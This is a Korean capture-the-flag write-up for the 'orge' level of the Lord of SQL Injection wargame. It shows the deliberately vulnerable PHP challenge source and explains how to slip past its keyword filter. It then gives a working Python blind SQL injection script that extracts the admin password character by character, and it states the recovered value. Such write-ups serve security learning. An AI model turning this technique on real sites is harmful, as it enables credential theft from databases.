<코드 분석>
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
if(preg_match('/or|and/i', $_GET[pw])) exit("HeHe");
$query = "select id from prob_orge where id='guest' and pw='{$_GET[pw]}'";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
$_GET[pw] = addslashes($_GET[pw]);
$query = "select pw from prob_orge where id='admin' and pw='{$_GET[pw]}'";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orge");
highlight_file(__FILE__);
?>
pw 를 Get 방식으로 받아주는 문제다. 이때 필터링은 다음과 같다.
prob _ . () 는 No Hack
or and 는 HeHe를 출력하면서 종료한다.
Get으로 넘겨준 pw와 admin의 진짜 pw 가 일치하면 문제가 풀린다.
<해설>
orc 랑 사실상 똑같은 문제다. 거기에 darkelf 문제에서의 and or 만 url-encoding으로 우회해주면 된다.
pw의 길이를 찾아주고, 각 자릿수마다 맞는 문자를 찾아주면 되겠다.
길이를 구할때는 length() 를, 문자를 찾아줄때는 ascii() 나 ord() 그리고 substr() 를 사용해주면 되겠다.
설명은 이전에 자세히 했으니까 코드만 업로드하도록 하겠다.
import requests
PHPSESSID="본인의 PHPSESSID"
url="https://los.rubiya.kr/chall/orge_bad2f25db233a7542be75844e314e9f3.php"
pw=""
length=0
for i in range(1,100):
print("Testing length : "+str(i))
pay="?pw=' %7C%7C length(pw)="+str(i)+"%23"
res=requests.post(url+pay,cookies=(dict(PHPSESSID=PHPSESSID)))
if "Hello admin" in res.text:
print("FOund the length !! : "+str(i))
length=i
break
for i in range(1,length+1):
print("Doing the "+str(i)+" word......")
for j in range(48,128):
payload="?pw='%7C%7Cascii(substr(pw,"+str(i)+",1))="+str(j)+"%23"
res=requests.post(url=url+payload,cookies=(dict(PHPSESSID=PHPSESSID)))
if "Hello admin"in res.text:
pw+=chr(j)
print("FOUND THE TEXT : "+str(pw))
break
print("FINISHED! PW is .. : "+str(pw))
pw : 7b751aec
Clear!
'WriteUp > LOS_rubiya' 카테고리의 다른 글
LOS -rubiya : Vampire (0) | 2020.05.13 |
---|---|
LOS -rubiya : Troll (0) | 2020.05.13 |
LOS - rubiya : Darkelf (0) | 2020.05.13 |
LOS -rubiya : Wolfman (0) | 2020.05.13 |
LOS -rubiya : Wolfman (0) | 2020.05.13 |